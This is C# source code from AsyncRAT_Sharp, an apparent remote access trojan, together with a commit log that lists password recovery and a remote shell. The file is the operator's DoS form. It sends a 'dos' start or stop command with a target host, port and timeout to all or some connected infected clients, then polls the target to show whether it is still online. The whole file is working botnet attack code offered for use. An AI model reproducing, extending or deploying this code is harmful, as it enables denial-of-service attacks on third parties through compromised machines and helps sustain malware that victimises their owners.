NYAN CAT f75229df31 Update
[]Updated password recovery - thanks to @thi67
[]Compiled files will be written in /Binaries/ - thanks to @MrDevBot
[]Fixed ping
[]Added remote shell
[]Added chat
[]Minor bugs fixed
2019-05-18 23:51:48 +03:00

145 lines
4.9 KiB
C#

using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Forms
{
public partial class FormDOS : Form
{
private TimeSpan timespan;
private Stopwatch stopwatch;
private string status = "is online";
public FormDOS()
{
InitializeComponent();
}
private void BtnAttack_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(txtHost.Text) || string.IsNullOrWhiteSpace(txtPort.Text) || string.IsNullOrWhiteSpace(txtTimeout.Text)) return;
try
{
if (!txtHost.Text.ToLower().StartsWith("http://")) txtHost.Text = "http://" + txtHost.Text;
new Uri(txtHost.Text);
}
catch { return; }
if (Program.form1.listView1.Items.Count > 0)
{
btnAttack.Enabled = false;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "dos";
msgpack.ForcePathObject("Option").AsString = "postStart";
msgpack.ForcePathObject("Host").AsString = txtHost.Text;
msgpack.ForcePathObject("Port").AsString = txtPort.Text;
msgpack.ForcePathObject("Timeout").AsString = txtTimeout.Text;
if (btnAll.Checked)
{
foreach (ListViewItem itm in Program.form1.listView1.Items)
{
Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
else
{
foreach (ListViewItem itm in Program.form1.listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
client.LV.ForeColor = Color.Green;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
btnStop.Enabled = true;
btnAll.Enabled = false;
btnSelected.Enabled = false;
timespan = TimeSpan.FromSeconds(Convert.ToInt32(txtTimeout.Text) * 60);
stopwatch = new Stopwatch();
stopwatch.Start();
timer1.Start();
timer2.Start();
}
}
private void BtnStop_Click(object sender, EventArgs e)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "dos";
msgpack.ForcePathObject("Option").AsString = "postStop";
if (btnAll.Checked)
{
foreach (ListViewItem itm in Program.form1.listView1.Items)
{
Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
else
{
foreach (ListViewItem itm in Program.form1.listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
client.LV.ForeColor = Color.Empty;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
btnAttack.Enabled = true;
btnStop.Enabled = false;
btnAll.Enabled = true;
btnSelected.Enabled = true;
timer1.Stop();
timer2.Stop();
status = "is online";
}
private void Timer1_Tick(object sender, EventArgs e)
{
this.Text = $"DOS ATTACK:{timespan.Subtract(TimeSpan.FromSeconds(stopwatch.Elapsed.Seconds))} Status:host {status}";
if (timespan < stopwatch.Elapsed)
{
btnAttack.Enabled = true;
btnStop.Enabled = false;
btnAll.Enabled = true;
btnSelected.Enabled = true;
timer1.Stop();
timer2.Stop();
status = "is online";
}
}
private void Timer2_Tick(object sender, EventArgs e)
{
try
{
WebRequest req = WebRequest.Create(new Uri(txtHost.Text));
WebResponse res = req.GetResponse();
res.Dispose();
status = "is online";
}
catch
{
status = "is offline";
}
}
private void FormDOS_FormClosing(object sender, FormClosingEventArgs e)
{
this.Hide();
this.Parent = null;
e.Cancel = true;
}
}
}